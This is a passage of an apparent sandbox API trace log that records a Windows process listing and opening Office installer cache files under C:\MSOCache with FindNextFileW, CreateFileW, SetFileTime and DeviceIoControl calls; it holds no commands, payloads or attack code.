ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0142.095] GetLastError () returned 0x12 [0142.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0142.095] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0142.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983bf0) returned 1 [0142.095] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0142.095] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0142.095] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.095] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.098] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0142.098] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.098] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98b690 [0142.098] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98b690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x98b690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.098] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98b690) returned 1 [0142.098] NtClose (Handle=0x19c) returned 0x0 [0142.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.099] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.099] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989bd0 [0142.099] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bb8 [0142.106] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.107] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0142.107] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0142.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989cd8 [0142.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9846c0 [0142.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989de0 [0142.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.108] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9846e0 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ee8 [0142.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.108] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984700 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ff0 [0142.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.108] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.108] GetLastError () returned 0x12 [0142.108] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0142.108] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0142.108] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.108] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a0f8 [0142.108] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.120] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0142.120] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98b690 [0142.120] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98b690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98b690, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98b690) returned 1 [0142.120] NtClose (Handle=0x19c) returned 0x0 [0142.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98a0f8) returned 1 [0142.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a0f8 [0142.120] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.120] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a200 [0142.120] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bb8 [0142.124] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a308 [0142.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984720 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a410 [0142.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.125] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.125] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.125] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984740 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a518 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984760 [0142.126] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98a620 [0142.126] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.126] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 